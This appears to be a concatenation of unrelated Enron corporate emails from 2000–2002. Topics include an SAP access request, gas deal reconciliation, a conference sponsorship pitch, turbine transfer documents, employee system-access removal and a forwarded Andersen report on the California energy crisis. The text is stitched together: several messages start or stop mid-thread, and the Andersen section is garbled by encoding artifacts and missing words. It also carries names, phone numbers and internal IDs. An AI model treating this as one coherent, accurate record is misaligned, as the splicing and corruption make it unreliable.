Your request does not look to be SAP Security related.  Please use the 
eRequest to obtain access to the network at itcentral.enron.com.
You may call 713-853-1411 if you need additional assistance.

Thank you,
SAP Security (Eva)

Kohli@mailman.enron.com on 03/07/2001 02:34:11 PM; Sandeep 
<Sandeep.Kohli@enron.com> on 03/07/2001 02:34:11 PM
To: Website:SAP Security Request <sap.security@enron.com>
cc:  

Subject: SAP Security Request Form

The following request information was recently submitted...

REQUESTOR INFORMATION:

   Business Unit:                ENA
   Cost Center:                  107043
   Company Code:                 0413
   Business Unit for Roles:      ENA
   SAP ID:                       p00504918

GENERAL INFORMATION:

   Supervisor:                   Vince Kaminski
   Supervisor Telephone Number:  713-853-3848
   Employee Name (Last,First,M): Kohli, Sandeep
   Employee Location:            EB 1958
   Employee Telephone Number:    713-853-5188
   Employee Email Address:       Sandeep.Kohli@enron.com
   Job Title:                    Vice President
   SAP User Type:                Enron Employee

   Business Reason:              
   I need access to the O: drive, Research subdirectory.
   
   This subdirectory has information to be shared between
   different members of the Research group.  I need to
   access this for projects we do as a team.  

VIEWER ROLES:
   No roles in this area were selected.

FINANCIAL ACCOUNTING ROLES:

PROJECT SYSTEM ROLES:

JOINT VENTURE ROLES:

MATERIALS MANAGEMENT / PURCHASING ROLES:

CENTRALIZED ROLES (LIMITED TO SPECIFIC PERSONNEL):

HUMAN RESOURCES (HR PERSONNEL ONLY):

HUMAN RESOURCES - TIMEKEEPERS:

HUMAN RESOURCES - BENEFITS (BENEFITS PERSONNEL ONLY):

HUMAN RESOURCES - PAYROLL (PAYROLL PERSONNEL ONLY):

I am working on clearing an old TXU Lone Star/Gas Distribution balance from 
8/99 and 9/99.  We originally billed TXU on nominated quantities and they 
have shortpaid us due to meter adjustments.  These are brokered deals where 
we sold to TXU and purchased from ExxonMobil and Highland.  TXU has provided 
meter support since the deals were on Lone Star pipeline, however, I am 
unsure how to have Volume Management reallocate.  

For example, we originally sold 10,000 mmbtu on 8/3/99 to TXU and purchased 
1,200 mmbtu from Highland Energy and 8,800 mmbtu from ExxonMobil.  TXU shows 
the total amount of gas on 8/3/99 was 9,240 mmbtu.  How should the purchase 
piece be allocated between ExxonMobil and Highland since this was a brokered 
deal?

August 1999:

Sale
TXU Electric & Gas  deals# 104975, 104256, 104738
Lone Star Gas Co. deal# 101985
Purchase
ExxonMobil Corp. deal#101522
Highland Energy Co. deal#101530

September 1999:

Sale
TXU Electric & Gas deal#109046
Purchase
ExxonMobil Corp. deals#101522, 108564
Highland Energy Co. deals#101530, 108146

Please let me know if I need to speak with someone else about this.  Thanks 

Thanks,
Rebecca

Lucy,

Here is a new file for 12/15.

For the rentroll for 12/08 here are my questions:

 #23 & #24 did not pay.  Just late or moving?

 #25 & #33 Both paid 130 on 12/01 and $0 on 12/08.  What is the deal?

 #11  Looks like she is caught up.  When is she due again?

Please email the answers.

Phillip
  
Mr. Straszheim -

Mr. Lay did receive your e-mail - per your telephone call to us last evening.

Rosalee

Donald Straszheim <dstraszheim@milken-inst.org> on 02/01/2000 05:57:07 PM
To: Kenneth Lay/Corp/Enron@Enron
cc: John Quintanar <jquintanar@milken-inst.org>, Patricia Contreras 
<PContreras@milken-inst.org> 
Subject: Milken Institute Conference Sponsorship

Ken,

I hope all is going well at Enron.  I know you and/or your people have been
discussing with Glenn Yago our so-called Emerging Domestic Markets Project.
It is an exciting one and we look forward to Enron's support, involvement,
participation and leadership.  Glenn will be in touch as the project
unfolds.

Now I am contacting you about our upcoming Global Conference, March 8-10,
2000 in Los Angeles.  There are two issues.

First, I am sure you are aware, we are holding our third annual Milken
Institute Global Conference March 8-10, 2000 at the Beverly Hilton Hotel in
Los Angeles. A copy of the program is attached. This year's event will have
a heavy contingent of institutional investors, corporate leaders, and
technology, media and policy people in the audience.  On the program, we
have nine Nobel Laureates, several CEOs of major corporations, and other
heavy hitters.  As you can see, there is a major technology slant to this
year's program.  It will be a great event.  We would love to have some
representation from Enron in the audience.

Second, we are still accepting corporate sponsorship for the event.  I have
attached a copy of our Sponsorship Opportunities brochure that describes the
various levels ($10K - $100K), and the benefits of each sponsorship tier.
This is a great program to be associated with - both high-quality speakers
and a prestigious audience.  Mike Milken and I hope to be able to count on
your organization for support.

We anticipate a global audience of 1,500 - senior people from the financial
sector, business, technology, academia, the policy community and all the
major media.  In just two years, our Global Conference has become a
significant and influential gathering for discussion, debate and networking
on key business, economic, financial and policy questions.

I hope we can count on you.

Regards,

Donald H. Straszheim
President
Milken Institute
1250 Fourth Street, Second Floor
Santa Monica, CA  90401
Tel:    310.998.2620
Fax:   310.998.2641
E-ml:  dstraszheim@milken-inst.org

 <<GC 2000 Update 1_31_00.pdf>>  <<Sponsorship Tiers GC 2000pdf1.pdf.pdf>>

> Don't miss the Milken Institute's annual Global Conference, March 8-10,
> 2000, in Los Angeles. For program and registration information, go to our
> web site at http://www.milken-inst.org.
>
>
>
>
>
>
>

 - GC 2000 Update 1_31_00.pdf
 - Sponsorship Tiers GC 2000pdf1.pdf.pdf

FYI
---------------------- Forwarded by Mary Hain/HOU/ECT on 11/08/2000 12:16 PM 
   
	From:  "Leigh Miller" <LMiller@eei.org>                           11/08/2000 
08:55 AM
	
cc:  
Subject: Overview of NERC's Reliability Assessment 2000-2009

An overview of NERC's Reliability Assessment 2000-2009
      ,Copyright 2000 EEI. All rights reserved.

EEI's State Restructuring Service is proud to present an Internet E-Forum 
providing an overview of the North American Electric Reliability Council's 
(NERC) recently released Reliability Assessment 2000-2009, the reliability of 
bulk electric systems in North America.

The reliability of the electric generation and transmission systems serving 
North America has come under increased federal government, state regulator, 
and customer scrutiny. Generation capacity margins have decreased and the 
bulk electric systems are subjected to flows in magnitudes and directions not 
contemplated when they were designed or for which there is minimal operating 
experience.

Each year, the Reliability Assessment Subcommittee (RAS) of the North 
American Electric Reliability Council (NERC) reviews the overall reliability 
of existing and planned electric generation and transmission systems in North 
America. This year's Reliability Assessment 2000-2009 report presents:

*An assessment of electric generation and transmission reliability through 
2009

*An assessment of the generation resource adequacy of each Interconnection in 
North America

*A discussion of key issues affecting reliability of future electric supply

*Regional assessments of electric supply reliability, including issues of 
specific Regional concern

Presenting an overview of this year's Reliability Assessment is Frank J. 
Koza, Jr., Chairman, Reliability Assessment Subcommittee, and General 
Manager, Ventures, PECO Energy Company.

Our guest moderator is Tim Gallagher, Mgr Technical Services, NERC

To provide questions and commentary we have Jolly Hayden, Vice President of 
Transmission, Dynegy

A copy of the Reliability Assessment 2000-2009 is available from the NERC web 
site at http://www.nerc.com/~pc/syscond.html.

November 21, 2000 1 p.m. ET
Note: Please block a 2-hour time slot for the E-Forum. We expect the program 
to take about one hour. Q&A at the conclusion of the E-Forum could take up to 
an additional hour.

Registration Cut-off and Cancellation Policy: All registrations must be 
received by November 17, 2000. Substitutions may be made at any time, 
however, no refunds will be made for cancellations received after November 
17, 2000.

Registration Cost:
EEI/NARUC/NCSL Members: $50.00 / Associates $75 / Non-members: $100.00
FOR MORE INFORMATION AND/OR TO REGISTER, ACCESS THE FOLLOWING URL: 
www.eei.org/resources/meetings/forums/
E-Forums are real-time, interactive presentations, created, produced and 
distributed by EEI. The visual presentation is delivered over the Internet, 
while the audio portion is delivered through a conference phone call. You can 
participate in an E-Forum using any computer with Internet access and a 
telephone.

To fully participate in the E-Forum, you will need:

- Access to the Internet and a web browser.
- A separate voice phone line and a phone to dial into the audio conference 
call. Cell phones can be used.
- Upon confirmation of your registration, you will be given complete 
instructions including the URL (with Password/ID) and a the conference phone 
number.
- Slides used in the presentation will also be e-mailed to you prior to the 
forum and will soon be available over the Internet.

For more information on EEI's E-Forums, contact Mike Oldak, Director, State 
Competitive and Regulatory Policy at 202-508-5523 moldak@eei.org or Leigh 
Miller, Coordinator at (202) 508-5522 lmiller@eei.org

For more information on EEI's State Restructuring Service, contact Norm 
Jenks, Manager, Regulation and Competitive Analysis 202-508-5533 
njenks@eei.org

,Copyright 2000 by the Edison Electric Institute
All rights reserved under U.S. and foreign law, treaties and conventions. No 
part of this work may be distributed, redistributed, reproduced or copied in 
any form or by any means - graphic, electronic or mechanical, including 
photocopying, recording, taping, or information storage and retrieval systems 
without written permission of the publisher.

Lee, after I put in the deals, the system went down and I was not able to get 
them to calc.  So they are not in these numbers.  They will be tonight.  See 
you guys later today.

DG

Sean, 
1.  On the signature lines for each document, please provide the role that 
each party is signing as.  Also, Wilmington Trust is signing as Manager for 
E-Next Generation LLC.

2.  Please obtain from Catherine Clark the extension and transfer documents 
on the Blue Dog turbines.  In mid-November, the transaction with LJM was 
extended and EECC assigned their option and agency role to ENA.

3.  I'll let the lawyers make their comments and direct you as to 
distribution of these documents to both WestLB/counsel and TurboPark parties.

Regards, Lisa

"Bunk, Sean" <seanbunk@akllp.com> on 11/28/2000 01:43:47 PM
To: <lisa.bills@enron.com>, <catherine.clark@enron.com>, 
<kay.mann@enron.com>, <sheila.tweed@enron.com>, <roseann.engeldorf@enron.com>
cc: "Taylor, Rob" <robtaylor@akllp.com> 

Subject: Transfer of GE Turbines Into Turbo Park

Attached are drafts of assignment documents to effect the transfer of
the GE Turbines into the Turbo Park structure.

Please feel free to call me at (713)220-4427 if you have any questions
or comments.

 <<Purchase Option Assignment and Assumption Agreement (Turbopark -
LM6000).DOC>>  <<Purchase Option Assignment and Assumption Agreement -
Pastoria.DOC>>  <<E-Next Generation LLC Assignment and Assumption
Agreement.DOC>> 
 - Purchase Option Assignment and Assumption Agreement (Turbopark - 
LM6000).DOC
 - Purchase Option Assignment and Assumption Agreement - Pastoria.DOC
 - E-Next Generation LLC Assignment and Assumption Agreement.DOC

Here is the e-mail that you need to use to send to CAC.

---------------------- Forwarded by Frazier King/FGT/Enron on 07/12/2000 
03:37 PM ---------------------------

Shelley Corman
02/07/2000 10:52 AM
To: Frazier King/FGT/Enron@ENRON
cc:  
Subject: Re: Notice of Employee Transfer

FYI
---------------------- Forwarded by Shelley Corman/ET&S/Enron on 02/07/2000 
10:51 AM ---------------------------

02/07/2000 10:49 AM
To: Houston Helpdesk/ET&S/Enron@ENRON
cc: HotTap Helpdesk/ET&S/Enron@ENRON 

Subject: Re: Notice of Employee Transfer  

Per Bob,

GPG legal is supposed to be able to send a note to the Helpdesk and the 
Helpdesk will take the steps to figure out which LANs the employee is on and 
to make all contacts to have the employee removed from the LAN, from GPG 
applications and HotTap and to contact corporate to have the employee's email 
profile changed.  

If this is not correct, please let me know the procedure that you would like 
GPG legal to take to ensure that a GPG/ETS/Citrus/OTS  employee is removed 
from our systems when they transfer.

Celestine, you asked who are the current marketing affiliates that cannot 
have access to GPG systems.  ENA and EES are marketing affiliates.  However, 
we do not ask the Helpdesk to figure out who can or who cannot have access or 
to sort out which employee transfers necessitate marketing affiliate 
measures.   GPG legal would like to be able to go through the same checklist 
for all employees leaving GPG to transfer to another Enron company or 
entering GPG from another Enron company.

Houston Helpdesk
02/07/2000 10:40 AM
Sent by: Celestine Hollan
To: Shelley Corman/ET&S/Enron@ENRON

Shelley,
Eric Thode does not have I ID on GTA.

celestine

02/03/2000 05:05 PM
To: CAC ITSG/OTS/Enron@ENRON
cc: Eric Thode/OTS/Enron@ENRON, Houston Helpdesk/ET&S/Enron@ENRON 

Subject: Notice of Employee Transfer

Eric Thode, currently of GPG communications, has accepted a position in ENA 
Media Relations effective February 10, 2000.  To ensure that GPG continues to 
be in compliance with the marketing affiliate rules, Eric's access to any 
GPG-related LANs or applications should be removed at the close of business 
on February 9.  In addition, Eric's email profile should be changed and any 
GPG mass distribution  lists should be changed.  Eric is currently a user on 
the OTS LAN.

Please send a reply email to me after these changes have been completed, 
verfiying and indicating the date that employee was:
removed from the LAN.
EBB password was changed/canceled (if applicable).
removed from GPG-related applications.
email post office box was transfered.

I say go ahead with the call to work through any nits etc.  We will need a 
follow up call anyway, once we know what to do to meet the accting 
objectives.  This means you won't be available at 200 to talk with the accts, 
but that's ok.  

Finalizing the extension sounds good to me.

Kay

"Keffer, John" <JKeffer@KSLAW.com> on 04/17/2001 11:24:51 AM
To: "'Kay.Mann@enron.com'" <Kay.Mann@enron.com>, "Keffer, John" 
<JKeffer@KSLAW.com>
cc: "Reuter, Marisa" <MReuter@KSLAW.com> 

Subject: RE: Northwestern

Do you want me to postpone the call (I expect they are flexible)?.  Do you
want me to listen in on the meeting with the accountants?

Do you want me to communicate with Marguerite to get the extension in shape
for signing?

Sent: Tuesday, April 17, 2001 11:23 AM
To: Keffer, John
Cc: Reuter, Marisa

Ben is ok with the extension.

Ben and I have a meeting with the accountants at 200 (just got scheduled -
got to take the apptment when we can).  I'm happy for you guys to go
forward with the call. Ben and I will join later if we finish in time.

Kay

"Keffer, John" <JKeffer@KSLAW.com> on 04/16/2001 06:17:32 PM

To:   "'Kay.Mann@enron.com'" <Kay.Mann@enron.com>, "Reuter, Marisa"
      <MReuter@KSLAW.com>
cc:

Subject:  RE: Northwestern

I've talked to Marguerite.  She agreed to a call tomorrow at 2 PM central.
She is sending to you and me a draft of an extension.  No need to do
anything with it tonight, but I suspect that Mike will begin calling Ben
about it in the morning.

Sent: Monday, April 16, 2001 6:12 PM
To: mreuter@kslaw.com; jkeffer@kslaw.com
Subject: Northwestern

Hi there,

I am meeting with Ben tomorrow to discuss NWestern.  I'm fairly confident
that he will be willing to extend the letter agreement, but he hasn't
called me back today to confirm.

Ms. Kahn and I have exchanged voice mail.  Could one of you return her call
for me?  I'm tied up.  You might get an idea on some times tomorrow for a
call.  I'm booked until around 130 for anything which would last more than
a few minutes.  I'll check with Ben.

Thank you,

Kay

Daily Blessing
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http://www.daily-blessings.com/bless104.htm

Gifts to give all year 'round
http://www.daily-blessings.com/ch41.htm

want more coupons the next time you go shopping?  check out this link
http://www.daily-blessings.com/orcoolsavings.htm

want to know who's calling when you're online?
http://www.daily-blessings.com/callwave.htm

OR...

All:  Attached for the reading pleasure of the CA team is the Andersen repo=
rt=20
- "Energy Crisis in the Western U.S." Reproduced below is a related article=
,=20
and that is followed by the text of the Andersen press release on the=20
report.  Ray

=09NGI's Daily Gas Price Index=20
published : April 25, 2001
=09Andersen Warns Of Increased State/Federal Tensions=20
=09The likelihood of friction between state and federal regulators increasi=
ng=20
over deregulation plans if states slow or walk away from retail competition=
=20
is just one of several important implications resulting from the ongoing=20
shockwave that has rolled through the Western energy markets, according to =
a=20
new report issued Tuesday by Andersen.=20
=09The report, "Energy Crisis in the Western United States: Lessons for=20
Navigating Regulatory and Market Minefields," was unveiled by Andersen's=20
North American Energy Consulting Practice at a Washington, D.C., briefing.=
=20
=09David Jermain, principal with Andersen's North American Energy Consultin=
g=20
Practice, noted that the report identifies eight overriding implications=20
emanating from the Western energy crisis. "These aspects of the California=
=20
virus will shape the longer-term operations of the Western grid, the region=
al=20
and national economy, domestic energy policy and the industry's evolution,"=
=20
he added.=20
=09The eight implications singled out in the Andersen report are:=20
=09Increased deregulation uncertainty and risk=20
=09Reduced investor confidence=20
=09Contributing factor in economic softening=20
=09Increased pressure on the Western grid=20
=09Unbundling failures that push companies back to portfolio strategies=20
=09Ineffectiveness in changing siting and development restrictions=20
=09Procurement management that alters user-utility negotiating leverage; an=
d=20
=09Increased emphasis on distributed generation and new technologies=20
=09"Tensions and differences between state and federal regulators raise the=
=20
specter of repeating the regulatory and political conundrum California's=20
investor-owned utilities have been facing," Jermain said. If federal=20
initiatives open wholesale markets while retail markets remain regulated, a=
=20
crucial question emerges, namely whether state regulators will pass-through=
=20
higher wholesale costs if they should occur. "Tensions between state and=20
federal regulators over policies on deregulation will grow if states delay =
or=20
abandon retail competition," Jermain stated.=20
=09As to the California situation creating increased pressure on the Wester=
n=20
grid, Jermain noted that "Even as capacity increases and demand reductions=
=20
work to resolve the California crisis, these solutions have long-term=20
implications for the Western grid." Such implications include a realistic=
=20
chance that California could become an "energy island" as a result of=20
near-term reduction in available regional resources for export to Californi=
a,=20
according to the Andersen report. Also, there could be increased emphasis o=
n=20
security control to protect against overall Western grid failure as=20
sub-regions have difficulties.=20
=09Along with yesterday's report, Andersen also issued the results of an=20
Andersen survey of senior executives from 16 non-California utilities=20
detailing their views of the implications of the California power crisis fo=
r=20
their companies and the industry. The survey was conducted between February=
=20
19, 2001, and March 2, 2001, by Knowledge Systems & Research Inc. of=20
Syracuse.=20
=09On the deregulation front, nearly all the executives surveyed said they=
=20
believe recent California events will slow the pace of deregulation over th=
e=20
next five years for states that have not begun or finished writing=20
restructuring legislation. None believe that it will result in advanced=20
states deciding to re-regulate markets, although many states will review=20
their legislation to assess the risk of duplicating California's current=20
situation and make any changes necessary to avoid it.=20
=09As to legislation at the federal level, the survey found that few execut=
ives=20
suggest that the California situation will spark national energy=20
policy/legislation. Other executives believe that it will be a continuing=
=20
issue but, because of state-to-state variances, Congress will be unable to=
=20
pass any comprehensive measures or force states to a restructuring timeline=
.=20
=09Turning to company strategies, most of the executives surveyed do not se=
e any=20
changes to their business models or strategies for generation, distribution=
=20
or supply procurement as a response to the situation in California. However=
,=20
many have, among other things, expanded their risk management programs,=20
reduced spot market purchases and started emphasizing long-term supply=20
contracts. Those executives facing price caps are rethinking their stance o=
n=20
them, according to the Andersen survey.=20
=09The full Andersen report on the Western energy crisis can be downloaded =
at=20
www.andersen.com.=20
=09

ower companies and regulators must take steps to avoid spread of California=
=20
Power virus: Andersen analysis

WASHINGTON, D.C., April 24, 2001 =01* A =01&new virus spawned in California=
=018 poses=20
formidable challenges requiring new strategies on the part of power=20
companies, regulators and policymakers to contain and reverse its damage,=
=20
according to Energy Crisis in the Western United States: Lessons for=20
Navigating Regulatory and Market Minefields, a new Andersen report released=
=20
today.=20
=01&The implications for the development of competitive energy markets go f=
ar=20
beyond the Western United States,=018 Andersen=01,s national utility practi=
ce head=20
Matthew D. Smith told a Washington briefing. =01&Unfortunately, California =
has=20
taught the nation that regulatory and political barriers can create and=20
sustain an energy crisis.=018

=01&California has demonstrated that the risks in the electricity industry,=
 if=20
not properly acknowledged and managed, can simultaneously and profoundly=20
impact all market participants. To be effectively managed, these risks need=
=20
to be exposed, assumed or shared, measured and monitored. When they are=20
hidden or ignored, all parties can potentially suffer. A shared, integrated=
=20
view of these risks, and a strategy for their assumption and management, is=
=20
critical to avoiding rapid value destruction within the energy market,=018 =
Smith=20
said.

An Andersen survey of senior utility executives outside California, also=20
released at the briefing, indicates most utility companies believe they=20
inoculated themselves against the California virus so that it is unlikely t=
o=20
affect their operations beyond slowing the pace of deregulation and=20
increasing investor scrutiny. However, based on the potential implications =
it=20
sees of the California situation, Andersen believes a series of booster sho=
ts=20
are advisable for power companies and regulators. =01&To deliver reliable=
=20
service at a predictable cost in today=01,s environment, companies must foc=
us on=20
market integration by developing new and innovative relationships between=
=20
suppliers, customers, employees and investors =01) while working with gover=
nment=20
officials and regulators to chart a smoother transition to a deregulated=20
power market,=018 according to Smith.

Eight Implications
The Andersen report identified eight overriding implications emanating from=
=20
the Western energy crisis that are shaping the longer-term operations of th=
e=20
Western grid, the regional and national economy, domestic energy policy and=
=20
the industry=01,s evolution:
1. Increased deregulation uncertainty and risk =01) Tension and differences=
=20
between state and federal regulators raise the specter of repeating the=20
regulatory and political conundrum California=01,s investor-owned utilities=
 have=20
faced. If federal initiatives open wholesale markets while retail markets=
=20
remain regulated, a crucial question is raised: Will state regulators=20
pass-through higher wholesale costs if they should materialize? Tensions=20
between state and federal regulators over policies on deregulation will gro=
w=20
if states delay or abandon retail competition.=20
As wholesale markets are deregulated and RTOs begin operating, the prudence=
=20
principles that state regulators have used for many years may have to be=20
changed. For example, if FERC and RTO monitors determine that deregulated=
=20
wholesale markets operate fairly, prices derived from those markets must be=
=20
considered reasonable. If so, these costs should be allowed into=20
state-regulated retail rates without regard to the prudence principles stat=
e=20
regulators have used for years. Therefore, utilities=01, traditional burden=
 of=20
proving costs are or are not justifiable shifts to regulators.

2. Reduced investor confidence =01) Prior to deregulation, stringent pruden=
ce=20
review and disallowance of generation costs in the rate base made regulator=
y=20
risk largely uncontrollable, killing IOU interests in most new investment. =
A=20
major purpose of deregulation was to create an environment in which risk=20
could be managed, but California=01,s political and regulatory environment=
=20
provides only a limited ability to manage risks. The confidence and=20
perceptions needed to support investment decision-making will be slow to=20
return given the approach of the state to remedy the crisis.

3. Contributing factor in economic softening =01) Uncertain energy reliabil=
ity=20
and higher costs can drive-out marginal businesses, cause healthy companies=
=20
to constrain expansion, and lead new entrants to question whether to make n=
ew=20
investments. As such, an extended energy crisis contributes to inflation=20
pressures and may slow economic growth.

4. Increased pressure on the Western grid =01) Even as capacity increases a=
nd=20
demand reductions work to resolve the California crisis, these solutions ha=
ve=20
long-term implications for the Western Grid. These include a realistic=20
possibility of California becoming an =01&energy island=018 as a result of=
=20
a;=20
increased emphasis on security control to protect against overall Western=
=20
grid failure as sub-regions have problems; RTO requirements to strengthen=
=20
locally available supplies to bolster overall system reliability; longer-te=
rm=20
development of new plants using plentiful coal resources and clean coal=20
technology will alter the pattern of imports into California; and the=20
emergence of Mexico as a major supplier to southern California and Arizona,=
=20
contributing to a bifurcation of the Western Grid into northern and souther=
n=20
markets

5. Unbundling failures that push companies back to portfolio strategies =01=
) For=20
California investor-owned utilities, unbundling has achieved neither the=20
least-cost solution sought by regulators nor value maximization targeted by=
=20
investors. This necessitates a reevaluation of portfolio management=20
strategies potentially involving generation, transmission, power trading an=
d=20
marketing, and retail businesses in multiple geographies serving multiple=
=20
markets.

6. Ineffectiveness in changing siting and development restrictions =01)=20
California=01,s retail price caps and multiple explanations for the crisis =
have=20
left accelerated siting processes and environmental standards changes open =
to=20
challenge by various interests. In addition, limiting application of new=20
siting orders only to small generators contributes to uncertainty and=20
investor hesitancy.

7. Procurement management that alters user-utility negotiating leverage =01=
)=20
Competitive markets compel participants =01) suppliers, marketers, large=20
industrial buyers, etc. =01) to strategically manage procurement as a criti=
cal=20
value-driver. Because risk is explicitly shared and always has the potentia=
l=20
of shifting advantage to either seller or buyer, the sophistication of=20
negotiations and contracts increases as competitive markets evolve.

8. Increased emphasis on distributed generation and new technologies =01)=
=20
California=01,s reliability and price challenges have triggered a re-emerge=
nce=20
of energy crisis measures from the 1970s. End-users are investing in=20
solutions they control, and the distributed generation market is being=20
aggressively developed among large retailers, industrial users and=20
residential customers. This makes possible the development of microgrids=20
connecting consumers in local areas and related changes in traditional grid=
=20
systems, from modifications in interconnection agreements to changing=20
definitions of reserve margins and system reliability.
Industry Executives=01, Response
Senior executives from sixteen non-California utilities with a combined=20
market capitalization over $120 billion and $145 billion in revenues=20
responded to an Andersen survey with their views of the implications of the=
=20
California power crisis for their companies and for the industry. The surve=
y,=20
conducted between February 19, 2001 and March 2, 2001 by Knowledge Systems =
&=20
Research, Inc. of Syracuse, found that the companies are observing the=20
California situation carefully, expect a slowing =01) but not a turnaround =
-- of=20
deregulation, and believe their internal plans and preparations are on-targ=
et=20
for the changing environment:
Deregulation - Nearly all executives believe recent California events will=
=20
slow the pace of deregulation over the next five years for states that have=
=20
not begun or finished writing restructuring legislation. None believe that =
it=20
will cause advanced states to re-regulate markets, although many states wil=
l=20
review their legislation to assess their risk of duplicating California=01,=
s=20
current situation and make any changes necessary to avoid it.=20
National legislation - Few executives suggest the situation will initiate=
=20
national energy policy/legislation; others believe it will be a continuing=
=20
=20
.=20
Some expect additional state-level legislation.=20
Company strategies - Most do not see any changes to their business models o=
r=20
strategies for generation, distribution or supply procurement as a response=
=20
to the situation in California. However, many have expanded their risk=20
management programs, reduced spot market purchases, begun emphasizing=20
long-term supply contracts, planning new power generation capacity, and=20
started hedging with futures trades. Those facing price caps are rethinking=
=20
their stance on them=20
Investor scrutiny =01) Many executives indicate their shareholders are awar=
e of=20
the situation and investors -- particularly institutional investors -- are=
=20
more heavily scrutinizing their actions. Many say news coverage has prompte=
d=20
retail, commercial and industrial customer skepticism of industry=20
restructuring.=20
Transmission deregulation - Many executives agree the California situation=
=20
will increase interest in FERC=01,s regional transmission organizations (RT=
O)=20
deregulation effort.
Utility Company Action Items
Both to guard against a sudden California cascade and as a potentially=20
powerful competitive thrust, forward-thinking utilities should bolster thei=
r=20
basic preparedness with a variety of tactics -- or inoculations --=20
specifically aimed to combat a potential California power virus, according =
to=20
Andersen partner Mark Moskovitz:
Improve procurement management and risk management capabilities - To manage=
=20
exposure to volatile supply and demand shifts, organizations must be sure=
=20
that comprehensive and clear supply procedures, controls, decision points,=
=20
risk limits and communications are in place.=20
Plan and design innovative rate and pricing structures =01) Companies and=
=20
regulators must focus on communicating price signals that create value for=
=20
both the customer and the provider. Innovative rate and pricing structures=
=20
that more closely tie the customer=01,s price to the real cost of supply wi=
ll=20
better signal the value of the service as well as providing more accurate=
=20
information upon which both end user and supplier can make decisions.=20
Increase emphasis on demand side management (DSM) strategies =01) In additi=
on to=20
new pricing strategies to help achieve and maintain supply-demand=20
equilibrium, companies must now focus on employing more extensive and=20
innovative demand side management programs. These programs may offer=20
significant benefits with limited risk to both the customer and energy=20
supplier.=20
Assess the supply and generation dynamics in adjacent jurisdictions =01)=20
Companies must take a broader view =01) beyond typical geographic market=20
definitions -- of the economics of generation and related business decision=
s=20
in an increasingly volatile market in which supply will follow the best=20
prices.=20
Develop contingency plans for the continued deferral of new generation=20
capacity =01) In the face of potential ongoing generation capacity shortage=
s,=20
companies and regulators must be prepared to move with a portfolio of=20
strategies to meet demand, including for example DSM, flexible pricing and=
=20
distributed generation. In addition, they should explore efficiency-improvi=
ng=20
upgrades to existing facilities and seize any opportunity to accelerate=20
near-term construction plans.=20
Proactively address potential organizational disruption =01) As regulatory =
and=20
economic changes continue to churn the industry waters and companies adjust=
=20
and/or restructure, they must be highly cogniscent of, sensitive to, and=20
directly address employees=01, concerns with information about the company=
=01,s=20
future and theirs=01,.
Industry/Regulatory Lessons
There are also a number of broad primary lessons the electric power industr=
y=20
-- nationally and internationally -- should take away from its first major=
=20
domestic test case in deregulation and restructuring, according to Andersen=
=20
principal David O. Jermain:
Simplify market design.=20
Build a continuing role for regulators.=20
Maintain communications with multiple constituent interests.=20
Prepare contingency plans for extreme stress conditions.=20
Couple real-time retail pricing with transparently priced wholesale=20
competition.=20
Provide special incentives for RTO investment, formation and development.=
=20
Break down regulatory and political barriers to market signals and response=
s.
Copies of the Energy Crisis in the Western United States: Lessons for=20
Navigating Regulatory and Market Minefields report can be obtained at=20
www.andersen.com/energyandutilities.=20

Yes.  We are supposed to leave tomorrow.  Why?

"Bass, Jason" <Jason.Bass2@COMPAQ.com> on 02/15/2001 09:09:37 AM
cc:  
Subject: RE: computer options

Eric,

Are you going to Vegas this weekend?

From: Eric.Bass@enron.com [mailto:Eric.Bass@enron.com]
Sent: Wednesday, February 14, 2001 1:21 PM

yeah, they sent me some candy ass  "sorry" letter. no $ though

"Bass, Jason" <Jason.Bass2@COMPAQ.com> on 02/14/2001 12:37:32 PM

To:   "'Eric.Bass@enron.com'" <Eric.Bass@enron.com>
cc:
Subject:  RE: computer options

Eric,

Did you ever hear back from America West?

Sent: Thursday, January 18, 2001 12:27 PM

i havent heard anything yet - i will let you know though

"Bass, Jason" <Jason.Bass2@COMPAQ.com> on 01/18/2001 12:12:34 PM

cc:

Eric,

Will you have any opportunities for Rodeo tickets through Enron?

Jason Bass
Compaq Portables
 <<...OLE_Obj...>>

From:     Eric.Bass@enron.com [mailto:Eric.Bass@enron.com]
Sent:     Wednesday, January 17, 2001 9:17 AM
To:  Bass, Jason
Subject:  computer options

Option 1 - laptop low end
http://commerce.us.dell.com/dellstore/config.asp?order_code=PR700SON19&custo

mer_id=19&keycode=6V900

Option 2 - laptop high end
http://commerce.us.dell.com/dellstore/config.asp?order_code=EG700UON19&custo

mer_id=19&keycode=6V901

Option 3 - desktop (free)
http://commerce.us.dell.com/dellstore/config.asp?order_code=LP866PO19&custom

er_id=19&keycode=6V903

what do you think?

Attached is a Canadian Credit Watch listing.  If there are any personnel in 
your group that were not included in this distribution, please insure that 
they receive a copy of this report.

sent to you in error, please contact Russell Diamond at x5-7095.

For other questions, please contact Bill Bradford at x3-3831, John Suttle 
x3-0906 , Russell Diamond x5-7095 or the Global Hotline at x3-1803.

We added a Transco meter to deal 30512 today.  Would you make sure none of 
that goofy financial stuff is impacted please?

just the messanger

From: 	Mazowita, Mike  
Sent:	Tuesday, March 19, 2002 2:16 PM
To:	Parks, Joe

I'll call him but the answer is ..the same place he usually sends the invoice!

From: 	Parks, Joe  
Sent:	Tuesday, March 19, 2002 2:01 PM
To:	Mazowita, Mike
Subject:	

Hey, got a call from Jeff Smiron. Apparently he has an invoice he needs to send. Do you want to call him and give him a fax so he can send it.  

Thanks

Kathleen will be bringing it to you, if she hasn't all ready.

Kay

Stephen Plauche
10/31/2000 04:18 PM
cc:  

Subject: ENSR Extension Letter

Kay,

 Joe Curreri at ENSR wanted me to let you know that he is still waiting on 
the signed extension letter (Master Services Agreement).  Once you initial 
it, please have someone deliver it to Janet Dietrich as she then needs to 
sign it before sending it back to Joe at ENSR.  Please let me know if there 
is anything I need to do to get this process completed.  Thanks.

Stephen
x 33890

Debbie,

This is an update on the continuing Winston saga. Tanya
identified the sections of the code that produce inefficiencies
but the rest is in the Winston's hands.

Steve Stock is very cooperative and takes a very rational, Enron-first
approach to the problem. Privately, my concern is that the code, based on 
Tanya's
report to me, leaves a lot to be desired. The code tends to be a very 
mechanical
implementation of the algorithm, developed without a series attempt to 
optimize it.

Let's keep paddling along.

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 01/24/2001 
From: Stephen Stock/ENRON@enronXgate on 01/23/2001 05:38 PM
cc:  
Subject: FW: Winston

Vince,

...just to keep you in the loop on the Tanya / Winston issue...

regards

Steve

From:  Stock, Stephen  
Sent: Tuesday, January 23, 2001 5:36 PM
To: Tamarchenko, Tanya
Subject: RE: Winston

Tanya,

